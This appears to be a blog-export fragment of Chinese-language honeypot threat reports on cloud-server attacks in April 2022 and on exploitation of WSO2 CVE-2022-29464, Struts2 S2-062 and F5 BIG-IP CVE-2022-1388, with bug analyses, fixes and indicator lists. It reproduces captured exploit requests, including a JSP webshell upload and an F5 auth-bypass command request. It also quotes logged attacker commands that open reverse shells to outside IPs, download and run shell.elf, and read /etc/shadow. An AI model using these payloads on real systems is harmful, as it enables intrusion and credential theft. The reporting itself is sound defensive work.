这个漏洞的CVE号年份虽然是2021年,但2022年4月才对外公开。蜜罐系统最早在2022年4月15日捕获到攻击者利用该漏洞发起的攻击,4月16日发现Shellbot恶意程序开始利用该漏洞传播。
漏洞分析
官方通报看S2-062是S2-061补丁的修复不完整导致的,仍有标签的属性可导致二次OGNL表达式注入漏洞。ComponentTagSupport的doStartTag 函数开始标签解析,跟踪调试,进入ComponentTagSupport的doEndTag函数:
跟入component.end,接着进入evaluateParams函数,在evaluateParams函数中对name进行标签值赋值:
继续调试,当标签属性不包含value且name非空时,进入completeExpressionIfAltSyntax 函数:
跟进completeExpressionIfAltSyntax 函数,输入的name值 2*16 将被修改为%{2*16}:
然后recursion函数返回false,从而进入findValue触发二次OGNL表达式注入,执行了%{2*16}表达式:
在Struts v2.5.26中org.apache.tomcat被加入黑名单,根据OGNL语法,可通过#@org.apache.commons.collections.BeanMap@{}获取BeanMap对象,从而绕过S2_061的补丁。
漏洞修复
在Struts v2.5.30版本中,新增isAcceptableExpression函数,通过正则表达式判断的方式修补漏洞:
云服务器攻击总体情况
4月份共监测到全球9.2万个访问蜜罐节点的服务器,其中2.4万个IP发生漏洞扫描和攻击行为,超6000个IP发生恶意软件传播行为,1.1万个IP发生密码爆破行为。
四月份我们共捕获到来自云服务器的扫描和攻击威胁3.67亿次。其中,进行漏洞扫描和攻击事件2400万次,共涉及386个漏洞,暴力破解事件2200万次,传播恶意软件事件77.2万次,涉及恶意软件家族236个。
阿里云、DigitalOcean和腾讯云是发起漏洞攻击的IP数量最多的三家云服务商。
总体上,攻击者通常使用暴力破解、漏洞探测和扫描、远程代码执行漏洞等方法发起网络攻击。
在具体的攻击方法上,Redis相关漏洞、敏感文件嗅探和SMTP协议扫描等是攻击者最常用的攻击手段。
从漏洞攻击针对的厂商和产品分析,Redis、Docker和Apache仍然是攻击者使用漏洞攻击最多的厂商/产品,其中Redis的攻击者数量变化不大,但Docker的攻击者数量较三月有比较明显的提升。
一些攻击者利用漏洞攻击的同时,还会传播木马病毒等恶意软件以达到挖矿、控制等目的。4月份共捕获到利用云服务器传播的恶意软件样本5350个,日均传播恶意软件会话2.57万次。在利用漏洞传播的恶意样本中,挖矿类(CoinMiner)的传播IP数量和会话数量最多,此外,木马下载器类(TrojanDownloader)、黑客工具类(HackTool)、Tsunami僵尸网络等也是传播较多的恶意软件家族类型。
具体来看,全球云服务器传播恶意软件会话日均34.4万次,传播恶意软件文件数量超过5000个,传播会话以挖矿类(CoinMiner)、Mirai僵尸网络程序和Root工具类(Rootkit)为主,主要恶意软件传播数据如下表所示:
恶意软件家族
恶意软件样本数量
恶意软件传播会话数量
CoinMiner
132
3492059
Mirai
3528
2225752
Rootkit
8
1293556
Gafgyt
858
1199324
TrojanDownloader
446
764117
HackTool
9
338871
Tsunami
28
266909
YellowDye
8
265361
RemoteAdmin
1
259459
Exploit
46
28327
中国国内云服务器传播恶意软件会话日均19.5万次,传播恶意软件文件数量770个,传播会话以挖矿类(CoinMiner)、Root工具类(Rootkit)和木马下载器类(TrojanDownloader)为主,主要恶意软件传播数据如下表所示:
恶意软件家族
恶意软件样本数量
恶意软件传播会话数量
CoinMiner
57
3107750
Rootkit
8
1135539
TrojanDownloader
49
495456
HackTool
5
303781
YellowDye
8
233292
RemoteAdmin
1
232013
Tsunami
12
228386
Mirai
500
101470
Exploit
19
4921
Kryptik
3
666
我们从攻击者下载恶意软件的URL中提取出了这些恶意软件下载服务器的域名或IP,被最多攻击者使用的恶意软件下载服务器有oracle.zzhreceive.top,bbq.zzhreceive.top等。
密码爆破攻击方面,SSH的暴力破解仍然最为常见,随后是Telnet和甲骨文公司的Oracle TNS协议。DigitalOcean、腾讯云和亚马逊AWS是爆破攻击源IP数量最多的云服务商。
联系我们
感兴趣的读者,可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC List
URL:
http://146.70.80.113/suite
http://103.136.40.243/bins/Cronarm5
http://103.136.40.243/z.sh
http://175.11.71.224:58786/i
http://119.179.214.255:48348/bin.sh
md5:
97c3be113298ba1cf7acd6159391bc8c
0f77be12a7951073144b264f4cc0bb27
fdadd6050aec5f744d8e4e7118f95fc6
eec5c6c219535fba3a0492ea8118b397
59ce0baba11893f90527fc951ac69912
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 概述"}],["markdown",{"markdown":"- [360高级威胁狩猎蜜罐系统](https://netlab.360.com/zh/honeypot)发现全球9.2万个云服务器IP进行网络扫描、漏洞攻击、传播恶意软件等行为。其中包括国内39家单位所属的云服务资产IP,这些单位涉及政府、医疗、建筑、军工等多个行业。\n- 2022年4月,WSO2多个产品和Apache Struts2爆出高危漏洞,两个漏洞技术细节已经公开,并且我们发现两个漏洞都已有在野利用和利用漏洞传播恶意软件的行为。\n- 本月共记录来源于云服务器的扫描和攻击会话3.7亿次,其中漏洞攻击会话2400万次,传播恶意软件会话77.2万次。\n\n## 云上重点资产扫描攻击"}],["markdown",{"markdown":"随着云服务的普及,云安全问题也随之越发突出。攻击者常常入侵云服务器,并利用被入侵机器继续发动攻击。4月份我们发现了国内39个云服务器重点IP具有异常扫描攻击行为,由此我们认为该重点IP可能被入侵。从行业分布看,事业单位和政府机关的云上资产安全风险问题较大,此外,金融业和央企也面临较为严重的安全威胁。\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220505111047574.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220505111047574.png\" class=\"kg-image\"/></a>\n\n从云服务商分布情况来看,阿里云在政企市场占据了较大的市场份额,因此也更加容易面临威胁,此次出现扫描攻击的重点IP云服务商以阿里云为主。\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220509171659966.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220509171659966.png\" class=\"kg-image\"/></a>\n\n这些重点IP主要使用了敏感文件嗅探、Redis的相关漏洞及SSH暴力破解等攻击手法。\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220509180556394.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220509180556394.png\" class=\"kg-image\"/></a>\n\n下面介绍其中几个具体案例。\n\n| IP地址 | 云服务商 | 单位名称 | 行业 | IP所在省份 | 漏洞利用列表 | 扫描协议列表 |\n| :----------: | :------: | :------------------: | :-----------: | :--------: | :----------------------------------------------------------: | :----------: |\n| 123.56.\\*.\\* | 阿里云 | \\*\\*\\*人民医院 | 医疗 | 北京 | Redis未授权访问漏洞<br />Docker API版本信息泄露漏洞 | Redis, HTTP |\n| 120.92.\\*.\\* | 金山云 | \\*\\*\\*\\*集团有限公司 | 建筑/大型央企 | 北京 | Apache Tomcat暴力破解<br />PHPUnit 远程代码执行漏洞<br />ThinkPHP 远程代码执行漏洞等 | HTTP |\n| 121.40.\\*.\\* | 阿里云 | \\*\\*\\*\\*股份有限公司 | 制造业/军工 | 浙江 | MSSQL暴力破解 | TDS |\n\n案例1:位于北京的IP地址为123.56.\\*.\\*的阿里云服务器属于某地人民医院,这个IP地址存在利用Redis和Docker漏洞的攻击行为:\n```\n*1\n$4\ninfo\n```\n\n```\nGET /v1.16/version HTTP/1.1\nHost: {target}\nUser-Agent: Mozilla/5.0 zgrab/0.x\nAccept: */*\nAccept-Encoding: gzip \n```\n\n案例2:位于北京的IP地址为120.92.\\*.\\*的金山云服务器属于某建筑行业大型央企集团有限公司,这个IP地址有Apache Tomcat、PHPUnit和ThinkPHP等多个产品的暴力破解和漏洞利用行为:\n```\nGET /manager/html HTTP/1.1\nHost: {target}:8081\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAuthorization: Basic OGhZVFNVRms6OGhZVFNVRms=\nConnection: close\nAccept-Encoding: gzip\nConnection: close \n```\n\n```\nPOST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\nHost: {target}\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0\nContent-Length: 52\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip\nConnection: close\n\n<?=md5('eziqkjph');echo strtoupper(php_uname('s'))?>\n```\n\n## 热门漏洞攻击"}],["markdown",{"markdown":"### (1)WSO2 多产品无限制文件上传漏洞(CVE-2022-29464)\n\n#### 漏洞信息\n\n**影响范围:** \nWSO2 API Manager 2.2.0~4.0.0\nWSO2 Identity Server 5.2.0~5.11.0 \nWSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0\nWSO2 Identity Server as Key Manager 5.3.0~5.11.0\nWSO2 Enterprise Integrator 6.2.0~6.6.0\nWSO2 Open Banking AM 1.4.0~2.0.0 \nWSO2 Open Banking KM 1.4.0~2.0.0\n\n**CVE编号:** CVE-2022-29464\n**披露日期:** 2022.04.18\n**CVSS 3.1评分:** 9.8\n**影响设备量级:** 万级\n\n2022年4月23日,蜜罐系统首次捕获利用该漏洞进行攻击的数据包。我们发现总体上随时间推移,尝试利用该漏洞的攻击者IP数量和攻击会话数量呈现增加趋势。2022年4月28日开始,攻击者开始利用漏洞传播Webshell恶意软件。\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220505162830059.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220505162830059.png\" class=\"kg-image\"/></a>\n\nWSO2已公布漏洞详情及修补措施,[点击查看](https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738),我们也对该漏洞的利用方法进行了分析:\n\n#### 漏洞Payload\n\n```\nPOST /fileupload/toolsAny HTTP/1.1\nHost: x.x.x.x:9443\nUser-Agent: python-requests/2.27.1\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nContent-Length: 881\nContent-Type: multipart/form-data; boundary=256c5115fcd40ad6d0bf6a5ec73018cc\n\n--256c5115fcd40ad6d0bf6a5ec73018cc\nContent-Disposition: form-data; name=\"../../../../repository/deployment/server/webapps/authenticationendpoint/miori.jsp\"; filename=\"../../../../repository/deployment/server/webapps/authenticationendpoint/miori.jsp\"\n\n<FORM>\n <INPUT name='cmd' type=text>\n <INPUT type=submit value='Run'>\n</FORM>\n<%@ page import=\"java.io.*\" %>\n <%\n String cmd = request.getParameter(\"cmd\");\n String output = \"\";\n if(cmd != null) {\n String s = null;\n try {\n Process p = Runtime.getRuntime().exec(cmd,null,null);\n BufferedReader sI = new BufferedReader(new\nInputStreamReader(p.getInputStream()));\n while((s = sI.readLine()) != null) { output += s+\"</br>\"; }\n } catch(IOException e) { e.printStackTrace(); }\n }\n%>\n <pre><%=output %></pre>\n--256c5115fcd40ad6d0bf6a5ec73018cc--\n```\n\n#### 漏洞分析\n\n漏洞接口为/fileupload,搜索接口配置信息,该接口未进行认证处理:\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504112812992-16517467119031.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504112812992-16517467119031.png\" class=\"kg-image\"/></a>\n从url的映射配置文件看,漏洞接口/fileupload/toolsAny对应的处理文件是org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor:\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504114744485-16517467175532.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504114744485-16517467175532.png\" class=\"kg-image\"/></a>\n在ToolsAnyFileUploadExecutor类的execute处理函数设置断点,发送蜜罐系统捕获的payload数据:\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504121923679-16517467261333.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504121923679-16517467261333.png\" class=\"kg-image\"/></a>\n处理函数并没有对用户输入的上传文件名进行校验存在路径穿越漏洞,从而可以上传webshell到/webapps/目录,导致RCE:\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504123925299-16517467465076.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504123925299-16517467465076.png\" class=\"kg-image\"/></a>\n#### 漏洞修复\n在新版本中,ToolsAnyFileUploadExecutor的函数execute被弃用,直接返回false:\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504123404824-16517467412775.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504123404824-16517467412775.png\" class=\"kg-image\"/></a>\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504123221113-16517467349364.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504123221113-16517467349364.png\" class=\"kg-image\"/></a>\n\n### (2) Apache Struts2 S2-062 远程代码执行漏洞(CVE-2021-31805)\n\n#### 漏洞信息\n\n**影响范围:** Apache Struts 2.0.0 - 2.5.29\n**CVE编号:** CVE-2021-31805\n**公开日期:** 2022.04.12\n**CVSS 3.1评分:** 9.8\n**影响设备量级:** 百万级\n\n这个漏洞的CVE号年份虽然是2021年,但2022年4月才对外公开。蜜罐系统最早在2022年4月15日捕获到攻击者利用该漏洞发起的攻击,4月16日发现Shellbot恶意程序开始利用该漏洞传播。\n\n#### 漏洞分析\n官方通报看S2-062是S2-061补丁的修复不完整导致的,仍有标签的属性可导致二次OGNL表达式注入漏洞。ComponentTagSupport的doStartTag 函数开始标签解析,跟踪调试,进入ComponentTagSupport的doEndTag函数:\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504135602369-16517485285167.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504135602369-16517485285167.png\" class=\"kg-image\"/></a>\n跟入component.end,接着进入evaluateParams函数,在evaluateParams函数中对name进行标签值赋值:\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504163547883-16517485352728.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504163547883-16517485352728.png\" class=\"kg-image\"/></a>\n继续调试,当标签属性不包含value且name非空时,进入completeExpressionIfAltSyntax 函数:\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504163937298-16517485412929.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504163937298-16517485412929.png\" class=\"kg-image\"/></a>\n跟进completeExpressionIfAltSyntax 函数,输入的name值 2*16 将被修改为%{2\\*16}:\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504164049163-165174854582610.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504164049163-165174854582610.png\" class=\"kg-image\"/></a>\n\n然后recursion函数返回false,从而进入findValue触发二次OGNL表达式注入,执行了%{2\\*16}表达式:\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504164620635-165174855049011.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504164620635-165174855049011.png\" class=\"kg-image\"/></a>\n在Struts v2.5.26中org.apache.tomcat被加入黑名单,根据OGNL语法,可通过\\#@org.apache.commons.collections.BeanMap@{}获取BeanMap对象,从而绕过S2_061的补丁。\n\n#### 漏洞修复\n在Struts v2.5.30版本中,新增isAcceptableExpression函数,通过正则表达式判断的方式修补漏洞:\n\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504172557824-165174855462412.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504172557824-165174855462412.png\" class=\"kg-image\"/></a>\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220504173327346-165174855870213.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220504173327346-165174855870213.png\" class=\"kg-image\"/></a>\n\n## 云服务器攻击总体情况"}],["markdown",{"markdown":"四月份我们共捕获到来自云服务器的扫描和攻击威胁3.67亿次。其中,进行漏洞扫描和攻击事件2400万次,共涉及386个漏洞,暴力破解事件2200万次,传播恶意软件事件77.2万次,涉及恶意软件家族236个。\n阿里云、DigitalOcean和腾讯云是发起漏洞攻击的IP数量最多的三家云服务商。\n\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220505115608134.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220505115608134.png\" class=\"kg-image\"/></a>\n\n总体上,攻击者通常使用暴力破解、漏洞探测和扫描、远程代码执行漏洞等方法发起网络攻击。\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220506104155557.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220506104155557.png\" class=\"kg-image\"/></a>\n\n在具体的攻击方法上,Redis相关漏洞、敏感文件嗅探和SMTP协议扫描等是攻击者最常用的攻击手段。\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220506134605931.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220506134605931.png\" class=\"kg-image\"/></a>\n从漏洞攻击针对的厂商和产品分析,Redis、Docker和Apache仍然是攻击者使用漏洞攻击最多的厂商/产品,其中Redis的攻击者数量变化不大,但Docker的攻击者数量较三月有比较明显的提升。\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220509192246030.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220509192246030.png\" class=\"kg-image\"/></a>\n一些攻击者利用漏洞攻击的同时,还会传播木马病毒等恶意软件以达到挖矿、控制等目的。4月份共捕获到利用云服务器传播的恶意软件样本5350个,日均传播恶意软件会话2.57万次。在利用漏洞传播的恶意样本中,挖矿类(CoinMiner)的传播IP数量和会话数量最多,此外,木马下载器类(TrojanDownloader)、黑客工具类(HackTool)、Tsunami僵尸网络等也是传播较多的恶意软件家族类型。\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220510164811165.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220510164811165.png\" class=\"kg-image\"/></a>\n\n具体来看,全球云服务器传播恶意软件会话日均34.4万次,传播恶意软件文件数量超过5000个,传播会话以挖矿类(CoinMiner)、Mirai僵尸网络程序和Root工具类(Rootkit)为主,主要恶意软件传播数据如下表所示:\n\n| 恶意软件家族 | 恶意软件样本数量 | 恶意软件传播会话数量 |\n| ---------------- | ---------------- | -------------------- |\n| CoinMiner | 132 | 3492059 |\n| Mirai | 3528 | 2225752 |\n| Rootkit | 8 | 1293556 |\n| Gafgyt | 858 | 1199324 |\n| TrojanDownloader | 446 | 764117 |\n| HackTool | 9 | 338871 |\n| Tsunami | 28 | 266909 |\n| YellowDye | 8 | 265361 |\n| RemoteAdmin | 1 | 259459 |\n| Exploit | 46 | 28327 |\n\n中国国内云服务器传播恶意软件会话日均19.5万次,传播恶意软件文件数量770个,传播会话以挖矿类(CoinMiner)、Root工具类(Rootkit)和木马下载器类(TrojanDownloader)为主,主要恶意软件传播数据如下表所示:\n\n| 恶意软件家族 | 恶意软件样本数量 | 恶意软件传播会话数量 |\n| ---------------- | ---------------- | -------------------- |\n| CoinMiner | 57 | 3107750 |\n| Rootkit | 8 | 1135539 |\n| TrojanDownloader | 49 | 495456 |\n| HackTool | 5 | 303781 |\n| YellowDye | 8 | 233292 |\n| RemoteAdmin | 1 | 232013 |\n| Tsunami | 12 | 228386 |\n| Mirai | 500 | 101470 |\n| Exploit | 19 | 4921 |\n| Kryptik | 3 | 666 |\n\n我们从攻击者下载恶意软件的URL中提取出了这些恶意软件下载服务器的域名或IP,被最多攻击者使用的恶意软件下载服务器有oracle.zzhreceive.top,bbq.zzhreceive.top等。\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220506114703626.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220506114703626.png\" class=\"kg-image\"/></a>\n密码爆破攻击方面,SSH的暴力破解仍然最为常见,随后是Telnet和甲骨文公司的Oracle TNS协议。DigitalOcean、腾讯云和亚马逊AWS是爆破攻击源IP数量最多的云服务商。\n<a href=\"__GHOST_URL__/content/images/2022/05/image-20220506141358361.png\"><img src=\"__GHOST_URL__/content/images/2022/05/image-20220506141358361.png\" class=\"kg-image\"/></a>\n\n## 联系我们\n感兴趣的读者,可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n## IoC List\nURL:\n```\nhttp://146.70.80.113/suite\nhttp://103.136.40.243/bins/Cronarm5\nhttp://103.136.40.243/z.sh\nhttp://175.11.71.224:58786/i\nhttp://119.179.214.255:48348/bin.sh\n```\n\nmd5:\n```\n97c3be113298ba1cf7acd6159391bc8c\n0f77be12a7951073144b264f4cc0bb27\nfdadd6050aec5f744d8e4e7118f95fc6\neec5c6c219535fba3a0492ea8118b397\n59ce0baba11893f90527fc951ac69912\n```"}]],"markups":[],"sections":[[10,0],[1,"blockquote",[[0,[],0,"本文聚焦于云上重点资产的扫描攻击、云服务器总体攻击情况分析、热门漏洞及恶意程序的攻击威胁。"]]],[10,1],[1,"blockquote",[[0,[],0,"四月份,我们共监测到全国39个公有云重点资产存在异常扫描及攻击行为。"]]],[10,2],[1,"blockquote",[[0,[],0,"2022年4月12日,Apache发布Apache Struts2 高危漏洞(CVE-2021-31805),该漏洞可允许攻击者发起远程代码执行。攻击者已利用该漏洞传播Shellbot恶意软件。同月18日,WSO2公开高危漏洞CVE-2022-29464,该漏洞允许攻击者在WSO2的多个产品上无限制地上传任意文件。我们发现攻击者已利用该漏洞传播WebShell恶意软件。"]]],[10,3],[1,"blockquote",[[0,[],0,"4月份共监测到全球9.2万个访问蜜罐节点的服务器,其中2.4万个IP发生漏洞扫描和攻击行为,超6000个IP发生恶意软件传播行为,1.1万个IP发生密码爆破行为。"]]],[10,4],[1,"p",[]]],"ghostVersion":"3.0"} | 6274c7d7341053000761ae51 |
post | null | 2022-05-12T08:07:57.000Z | 63873b9a8b1c1e0007f5301b | f5-bigip-icontrol-rest-rce-cve-2022-1388 | 0 | 2022-05-13T09:34:16.000Z | public | draft | null | null | F5 BIG-IP iControl REST 命令执行漏洞(CVE-2022-1388)在野传播分析 | <!--kg-card-begin: markdown--><h2 id="">背景介绍</h2>
<p>2022年5月5日,知名应用交付网络公司F5 Networks公布了旗下BIG-IP产品iControl REST组件的一个远程执行漏洞(<a href="https://support.f5.com/csp/article/K23605346">点此查看官方公告</a>),并提供了漏洞修复版本和临时修复方案,由于该产品市场占有率较高,漏洞影响面积大,引起安全社区广泛关注。漏洞背景信息如下所示:</p>
<p><strong>影响范围:</strong> F5 BIG-IP 11.6.1 - 11.6.5, 12.1.0 - 12.1.6, 13.1.0 - 13.1.4, 14.1.0 - 14.1.4, 15.1.0 - 15.1.5, 16.1.0 - 16.1.2</p>
<p><strong>披露日期:</strong> 2022.05.05</p>
<p><strong>CVE编号:</strong> CVE-2022-1388</p>
<p><strong>CVSS 3.1评分:</strong> 9.8</p>
<p><strong>影响设备量级:</strong> 十万级</p>
<p><a href="https://netlab.360.com/zh/honeypot">360网络安全研究院高级威胁狩猎蜜罐系统</a>通过被动监测方式持续监控该漏洞在野传播过程,于北京时间2022年5月6日首次发现该漏洞的在野攻击数据包,同时我们发现Shellbot、挖矿木马等恶意软件已经开始利用该漏洞传播。相关在野漏洞攻击威胁情报已通过自动化形式输出。</p>
<h2 id="">漏洞在野传播情况</h2>
<p>360网络安全研究院高级威胁狩猎蜜罐系统监测到自从2022年5月6日首次发现漏洞攻击数据包以来,该漏洞的攻击者IP数和攻击会话数都有明显增加。</p>
<p><a href="__GHOST_URL__/content/images/2022/05/image-20220511180540876.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220511180540876.png" class="kg-image"/></a></p>
<p>部分攻击源IP地理位置分布如下:</p>
<p><a href="__GHOST_URL__/content/images/2022/05/image-20220511173413621.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220511173413621.png" class="kg-image"/></a></p>
<p>攻击源IP数量Top10的国家/地区如下所示:</p>
<table>
<thead>
<tr>
<th>国家/地区</th>
<th>攻击源IP数</th>
</tr>
</thead>
<tbody>
<tr>
<td>美国</td>
<td>58</td>
</tr>
<tr>
<td>中国</td>
<td>30</td>
</tr>
<tr>
<td>荷兰</td>
<td>26</td>
</tr>
<tr>
<td>德国</td>
<td>25</td>
</tr>
<tr>
<td>印度</td>
<td>19</td>
</tr>
<tr>
<td>孟加拉国</td>
<td>14</td>
</tr>
<tr>
<td>新加坡</td>
<td>11</td>
</tr>
<tr>
<td>埃及</td>
<td>8</td>
</tr>
<tr>
<td>英国</td>
<td>8</td>
</tr>
<tr>
<td>罗马尼亚</td>
<td>7</td>
</tr>
</tbody>
</table>
<p>部分在野漏洞利用的命令信息如下所示:</p>
<pre><code>id
whoami
cat /etc/passwd
echo 28z9BX0w4kMEak55tqaSMGDmAP1
echo 28zLDPCC3k6zrH2Es7DH1rxifzg
echo 28vi546TWLQfFsixTdyjLLyYOgg
echo 28vF7veMkSo2eZsu3JfeBQ03RNq
echo 28xCdoz7qlWjVzKBoel3ATz7VUu
hostname
echo 28x66VsIARvoGpbWnebWlBMQES4
/tmp/shell.elf
sh -i >& /dev/tcp/146.70.119.184/59300 0>&1
id && uname -a && cat /etc/hosts /etc/shadow && ifconfig -a\
ls
free -h
curl http://64.227.106.88:9999/shell.elf -O
chmod +x shell.elf; mv shell.elf /tmp/
curl http://64.227.106.88:9999/shell.elf -O; chmod +x shell.elf; mv shell.elf /dev/; /dev/shell.elf
pwd
test
sudo sh -i >& /dev/tcp/146.70.119.184/59300 0>&1
bash -i >& /dev/tcp/146.70.119.184/59300 0>&1
wget
run
asdasd
no
</code></pre>
<p>恶意软件传播情况如下图所示:</p>
<p><a href="__GHOST_URL__/content/images/2022/05/image-20220512114323213.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220512114323213.png" class="kg-image"/></a></p>
<h2 id="">漏洞分析</h2>
<p>CVE-2022-1388漏洞和CVE-2021-22986漏洞类似,都是通过X-F5-Auth-Token头绕过Apache httpd的Authentication的校验,转发请求到Jetty服务,Jetty判断X-F5-Auth-Token头为空时未对Authentication头信息校验,从而绕过认证。</p>
<h4 id="cve202122986">CVE-2021-22986漏洞分析</h4>
<p>在CVE-2021-22986漏洞版本16.0.1-0.0.3中,BIG-IP首先通过 Apache httpd处理请求,然后转发到本地8100端口的Jetty服务。httpd判断请求中存在X-F5-Auth-Token头时,转发请求到Jetty处理。</p>
<p>Jetty不对Authorization进行账号密码验证,在setIdentityData函数以账号admin设置userReference:</p>
<p><a href="__GHOST_URL__/content/images/2022/05/1-16522672978641.png"><img src="__GHOST_URL__/content/images/2022/05/1-16522672978641.png" class="kg-image"/></a></p>
<p>在completeEvaluatePermission函数中,当X-F5-Auth-Token头为空时,调用completeEvaluatePermission函数判断userRef是否为admin的userReference进行认证,存在认证绕过漏洞:</p>
<p><a href="__GHOST_URL__/content/images/2022/05/2.png"><img src="__GHOST_URL__/content/images/2022/05/2.png" class="kg-image"/></a></p>
<p>在F5 BIG-IP 16.1.2.1版本测试CVE-2021-22986漏洞补丁,X-F5-Auth-Token头为空时,Apache httpd认证不通过:</p>
<p><a href="__GHOST_URL__/content/images/2022/05/image-20220511191605171.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220511191605171.png" class="kg-image"/></a></p>
<h4 id="payload">蜜罐系统捕获payload</h4>
<pre><code>POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive, X-F5-Auth-Token
Content-Type: application/json
X-F5-Auth-Token: a
Authorization: basic YWRtaW46
Content-Length: 42
{"command": "run", "utilCmdArgs": "-c id"}
</code></pre>
<h4 id="cve20221388">CVE-2022-1388漏洞分析</h4>
<p>在F5 BIG-IP 16.1.2.1版本,通过蜜罐捕获的payload进行测试,到达Jetty服务时,X-F5-Auth-Token头为空:</p>
<p><a href="__GHOST_URL__/content/images/2022/05/3.png"><img src="__GHOST_URL__/content/images/2022/05/3.png" class="kg-image"/></a></p>
<p>X-F5-Auth-Token头非空,Apache httpd转发请求给Jetty服务。根据Connection: keep-alive, X-F5-Auth-Token字符串,该payload利用逐跳(hop-by-hop)请求头滥用漏洞,在Apache httpd转发请求给Jetty时,会删除Header中的X-F5-Auth-Token头。</p>
<p>在F5 BIG-IP 16.1.2.1版本,新增过滤条件,当X-Forwarded-Host为localhost或127.0.0.1时,调用setIdentityData以账号admin设置userReference:</p>
<p><a href="__GHOST_URL__/content/images/2022/05/4.png"><img src="__GHOST_URL__/content/images/2022/05/4.png" class="kg-image"/></a></p>
<p>在completeEvaluatePermission函数中,X-F5-Auth-Token头为空时,判断userRef为admin的userReference通过认证:</p>
<p><a href="__GHOST_URL__/content/images/2022/05/5.png"><img src="__GHOST_URL__/content/images/2022/05/5.png" class="kg-image"/></a></p>
<h4 id="">漏洞修复</h4>
<p>在新版本F5 BIG-IP 16.1.2.2中测试发现,即使存在非空X-F5-Auth-Token头,Apache httpd不再转发请求到Jetty服务,X-F5-Auth-Token认证由Apache httpd处理:</p>
<p><a href="__GHOST_URL__/content/images/2022/05/6.png"><img src="__GHOST_URL__/content/images/2022/05/6.png" class="kg-image"/></a></p>
<h2 id="">处置建议</h2>
<p>我们建议F5 BIG-IP用户立刻升级到修复版本(13.1.5, 14.1.4.6, 15.1.5.1, 16.1.2.2, 17.0.0),无法立刻升级的,建议参考官方公告进行临时修补。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者,可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h2 id="ioclist">IoC List</h2>
<p>IP</p>
<pre><code>31.178.7.61 Poland AS6830 LibertyGlobal
85.106.114.175 Turkey AS47331 TTNET
162.214.0.49 United States AS46606 UNIFIEDLAYER-AS-1
80.94.93.125 United Kingdom AS47890 UNMANAGED-DEDICATED-SERVERS
158.69.0.205 Canada AS16276 OVH
76.69.13.198 Canada AS577 BACOM
37.0.11.238 The Netherlands AS211252 AS_DELIS
34.126.143.139 Singapore AS15169 GOOGLE
103.167.16.10 Bangladesh AS139720 DHAKANET-AS-AP
185.219.134.179 Turkey AS205399 HOSTIGGER
185.204.1.181 Finland AS51765 CREANOVA-AS
